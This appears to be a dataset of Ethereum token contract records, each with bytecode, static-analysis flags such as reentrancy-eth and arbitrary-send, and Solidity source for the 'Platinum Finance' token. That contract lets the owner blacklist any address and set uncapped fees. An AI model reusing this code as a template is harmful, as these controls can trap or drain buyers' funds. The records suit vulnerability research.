5250565b61320c81612ca2565b811461321757600080fd5b50565b61322381612ce0565b811461322e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c47d0fbcb8817c7e695cd2d8ae5d0bdb2c183c1c1aa43fec5a0f3edc3aa9771464736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,928 |
0xd2d166efc4c8e76e8a095436adebe21f4a4d7a8c
|
//SPDX-License-Identifier: Unlicensed
//https://t.me/platinumfinanceeth
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Pt is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Platinum Finance";
string private constant _symbol = "Pt";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xD6906288Deb3D7E1515a82E4ee14B43671c8D801);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2e10 * 10**9;
uint256 public _maxWalletSize = 2e10 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
if (snipers[i] != uniswapV2Pair && snipers[i] != address(uniswapV2Router)) {
_isSniper[snipers[i]] = true;
}
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= _maxTxAmount);
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
}
|
0x6080604052600436106101e75760003560e01c80636fc3eaec116101025780638da5cb5b11610095578063c552849011610064578063c552849014610599578063dd62ed3e146105b9578063ea1644d5146105ff578063f2fde38b1461061f57600080fd5b80638da5cb5b1461051a5780638f9a55c01461053857806395d89b411461054e578063a9059cbb1461057957600080fd5b8063790ca413116100d1578063790ca413146104b95780637c519ffb146104cf5780637d1db4a5146104e4578063881dce60146104fa57600080fd5b80636fc3eaec1461044f57806370a0823114610464578063715018a61461048457806374010ece1461049957600080fd5b80632fd689e31161017a57806349bd5a5e1161014957806349bd5a5e146103cf5780634bf2c7c9146103ef5780635d098b381461040f5780636d8aa8f81461042f57600080fd5b80632fd689e31461035d578063313ce5671461037357806333251a0b1461038f57806338eea22d146103af57600080fd5b806318160ddd116101b657806318160ddd146102df57806323b872dd1461030557806327c8f8351461032557806328bb665a1461033b57600080fd5b806306fdde03146101f3578063095ea7b31461023e5780630f3a325f1461026e5780631694505e146102a757600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b5060408051808201909152601081526f506c6174696e756d2046696e616e636560801b60208201525b6040516102359190611be1565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611c5b565b61063f565b6040519015158152602001610235565b34801561027a57600080fd5b5061025e610289366004611c87565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102b357600080fd5b506016546102c7906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102eb57600080fd5b50683635c9adc5dea000005b604051908152602001610235565b34801561031157600080fd5b5061025e610320366004611ca4565b610656565b34801561033157600080fd5b506102c761dead81565b34801561034757600080fd5b5061035b610356366004611cfb565b6106bf565b005b34801561036957600080fd5b506102f7601a5481565b34801561037f57600080fd5b5060405160098152602001610235565b34801561039b57600080fd5b5061035b6103aa366004611c87565b6107e5565b3480156103bb57600080fd5b5061035b6103ca366004611dc0565b610854565b3480156103db57600080fd5b506017546102c7906001600160a01b031681565b3480156103fb57600080fd5b5061035b61040a366004611de2565b610889565b34801561041b57600080fd5b5061035b61042a366004611c87565b6108b8565b34801561043b57600080fd5b5061035b61044a366004611dfb565b610912565b34801561045b57600080fd5b5061035b61095a565b34801561047057600080fd5b506102f761047f366004611c87565b610984565b34801561049057600080fd5b5061035b6109a6565b3480156104a557600080fd5b5061035b6104b4366004611de2565b610a1a565b3480156104c557600080fd5b506102f7600a5481565b3480156104db57600080fd5b5061035b610a58565b3480156104f057600080fd5b506102f760185481565b34801561050657600080fd5b5061035b610515366004611de2565b610ab2565b34801561052657600080fd5b506000546001600160a01b03166102c7565b34801561054457600080fd5b506102f760195481565b34801561055a57600080fd5b50604080518082019091526002815261141d60f21b6020820152610228565b34801561058557600080fd5b5061025e610594366004611c5b565b610b2e565b3480156105a557600080fd5b5061035b6105b4366004611dc0565b610b3b565b3480156105c557600080fd5b506102f76105d4366004611e1d565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561060b57600080fd5b5061035b61061a366004611de2565b610b8c565b34801561062b57600080fd5b5061035b61063a366004611c87565b610bca565b600061064c338484610cb4565b5060015b92915050565b6000610663848484610dd8565b6106b584336106b085604051806060016040528060288152602001611ff8602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611484565b610cb4565b5060019392505050565b6000546001600160a01b031633146106f25760405162461bcd60e51b81526004016106e990611e56565b60405180910390fd5b60005b81518110156107e15760175482516001600160a01b039091169083908390811061072157610721611e8b565b60200260200101516001600160a01b031614158015610772575060165482516001600160a01b039091169083908390811061075e5761075e611e8b565b60200260200101516001600160a01b031614155b156107cf5760016009600084848151811061078f5761078f611e8b565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806107d981611eb7565b9150506106f5565b5050565b6000546001600160a01b0316331461080f5760405162461bcd60e51b81526004016106e990611e56565b6001600160a01b03811660009081526009602052604090205460ff1615610851576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b0316331461087e5760405162461bcd60e51b81526004016106e990611e56565b600b91909155600d55565b6000546001600160a01b031633146108b35760405162461bcd60e51b81526004016106e990611e56565b601155565b6015546001600160a01b0316336001600160a01b0316146108d857600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b0316331461093c5760405162461bcd60e51b81526004016106e990611e56565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461097a57600080fd5b47610851816114be565b6001600160a01b038116600090815260026020526040812054610650906114f8565b6000546001600160a01b031633146109d05760405162461bcd60e51b81526004016106e990611e56565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a445760405162461bcd60e51b81526004016106e990611e56565b601854811015610a5357600080fd5b601855565b6000546001600160a01b03163314610a825760405162461bcd60e51b81526004016106e990611e56565b601754600160a01b900460ff1615610a9957600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610ad257600080fd5b610adb30610984565b8111158015610aea5750600081115b610b255760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016106e9565b6108518161157c565b600061064c338484610dd8565b6000546001600160a01b03163314610b655760405162461bcd60e51b81526004016106e990611e56565b600d821115610b7357600080fd5b600d811115610b8157600080fd5b600c91909155600e55565b6000546001600160a01b03163314610bb65760405162461bcd60e51b81526004016106e990611e56565b601954811015610bc557600080fd5b601955565b6000546001600160a01b03163314610bf45760405162461bcd60e51b81526004016106e990611e56565b6001600160a01b038116610c595760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106e9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d165760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106e9565b6001600160a01b038216610d775760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106e9565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e3c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106e9565b6001600160a01b038216610e9e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106e9565b60008111610f005760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106e9565b6001600160a01b03821660009081526009602052604090205460ff1615610f395760405162461bcd60e51b81526004016106e990611ed2565b6001600160a01b03831660009081526009602052604090205460ff1615610f725760405162461bcd60e51b81526004016106e990611ed2565b3360009081526009602052604090205460ff1615610fa25760405162461bcd60e51b81526004016106e990611ed2565b6000546001600160a01b03848116911614801590610fce57506000546001600160a01b03838116911614155b1561132e57601754600160a01b900460ff1661102c5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016106e9565b6017546001600160a01b03838116911614801561105757506016546001600160a01b03848116911614155b15611109576001600160a01b038216301480159061107e57506001600160a01b0383163014155b801561109857506015546001600160a01b03838116911614155b80156110b257506015546001600160a01b03848116911614155b15611109576018548111156111095760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106e9565b6017546001600160a01b0383811691161480159061113557506015546001600160a01b03838116911614155b801561114a57506001600160a01b0382163014155b801561116157506001600160a01b03821661dead14155b15611228576018548111156111b85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106e9565b601954816111c584610984565b6111cf9190611ef9565b106112285760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106e9565b600061123330610984565b601a5490915081118080156112525750601754600160a81b900460ff16155b801561126c57506017546001600160a01b03868116911614155b80156112815750601754600160b01b900460ff165b80156112a657506001600160a01b03851660009081526006602052604090205460ff16155b80156112cb57506001600160a01b03841660009081526006602052604090205460ff16155b1561132b5760115460009015611306576112fb60646112f56011548661170590919063ffffffff16565b90611784565b9050611306816117c6565b6113186113138285611f11565b61157c565b47801561132857611328476114be565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061137057506001600160a01b03831660009081526006602052604090205460ff165b806113a257506017546001600160a01b038581169116148015906113a257506017546001600160a01b03848116911614155b156113af57506000611472565b6017546001600160a01b0385811691161480156113da57506016546001600160a01b03848116911614155b15611435576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a541415611435576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b03848116911614801561146057506016546001600160a01b03858116911614155b1561147257600d54600f55600e546010555b61147e848484846117d3565b50505050565b600081848411156114a85760405162461bcd60e51b81526004016106e99190611be1565b5060006114b58486611f11565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107e1573d6000803e3d6000fd5b600060075482111561155f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106e9565b6000611569611807565b90506115758382611784565b9392505050565b6017805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106115c4576115c4611e8b565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561161857600080fd5b505afa15801561162c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116509190611f28565b8160018151811061166357611663611e8b565b6001600160a01b0392831660209182029290920101526016546116899130911684610cb4565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906116c2908590600090869030904290600401611f45565b600060405180830381600087803b1580156116dc57600080fd5b505af11580156116f0573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b60008261171457506000610650565b60006117208385611fb6565b90508261172d8583611fd5565b146115755760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106e9565b600061157583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061182a565b6108513061dead83610dd8565b806117e0576117e0611858565b6117eb84848461189d565b8061147e5761147e601254600f55601354601055601454601155565b6000806000611814611994565b90925090506118238282611784565b9250505090565b6000818361184b5760405162461bcd60e51b81526004016106e99190611be1565b5060006114b58486611fd5565b600f541580156118685750601054155b80156118745750601154155b1561187b57565b600f805460125560108054601355601180546014556000928390559082905555565b6000806000806000806118af876119d6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506118e19087611a33565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119109086611a75565b6001600160a01b03891660009081526002602052604090205561193281611ad4565b61193c8483611b1e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161198191815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006119b08282611784565b8210156119cd57505060075492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006119f38a600f54601054611b42565b9250925092506000611a03611807565b90506000806000611a168e878787611b91565b919e509c509a509598509396509194505050505091939550919395565b600061157583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611484565b600080611a828385611ef9565b9050838110156115755760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106e9565b6000611ade611807565b90506000611aec8383611705565b30600090815260026020526040902054909150611b099082611a75565b30600090815260026020526040902055505050565b600754611b2b9083611a33565b600755600854611b3b9082611a75565b6008555050565b6000808080611b5660646112f58989611705565b90506000611b6960646112f58a89611705565b90506000611b8182611b7b8b86611a33565b90611a33565b9992985090965090945050505050565b6000808080611ba08886611705565b90506000611bae8887611705565b90506000611bbc8888611705565b90506000611bce82611b7b8686611a33565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611c0e57858101830151858201604001528201611bf2565b81811115611c20576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461085157600080fd5b8035611c5681611c36565b919050565b60008060408385031215611c6e57600080fd5b8235611c7981611c36565b946020939093013593505050565b600060208284031215611c9957600080fd5b813561157581611c36565b600080600060608486031215611cb957600080fd5b8335611cc481611c36565b92506020840135611cd481611c36565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d0e57600080fd5b823567ffffffffffffffff80821115611d2657600080fd5b818501915085601f830112611d3a57600080fd5b813581811115611d4c57611d4c611ce5565b8060051b604051601f19603f83011681018181108582111715611d7157611d71611ce5565b604052918252848201925083810185019188831115611d8f57600080fd5b938501935b82851015611db457611da585611c4b565b84529385019392850192611d94565b98975050505050505050565b60008060408385031215611dd357600080fd5b50508035926020909101359150565b600060208284031215611df457600080fd5b5035919050565b600060208284031215611e0d57600080fd5b8135801515811461157557600080fd5b60008060408385031215611e3057600080fd5b8235611e3b81611c36565b91506020830135611e4b81611c36565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ecb57611ecb611ea1565b5060010190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b60008219821115611f0c57611f0c611ea1565b500190565b600082821015611f2357611f23611ea1565b500390565b600060208284031215611f3a57600080fd5b815161157581611c36565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f955784516001600160a01b031683529383019391830191600101611f70565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611fd057611fd0611ea1565b500290565b600082611ff257634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c7a8c07bc8b3951dc18fa15494af0c1d6d27d0617b610e20b6ca185fc18425ff64736f6c63430008080033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,929 |
0xa1fc6d28b2fc00ff0ff93b2da3f2b3c8ae85ad64
|
/*
Spaghetti Inu🍝
t.me/spaghettinu
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
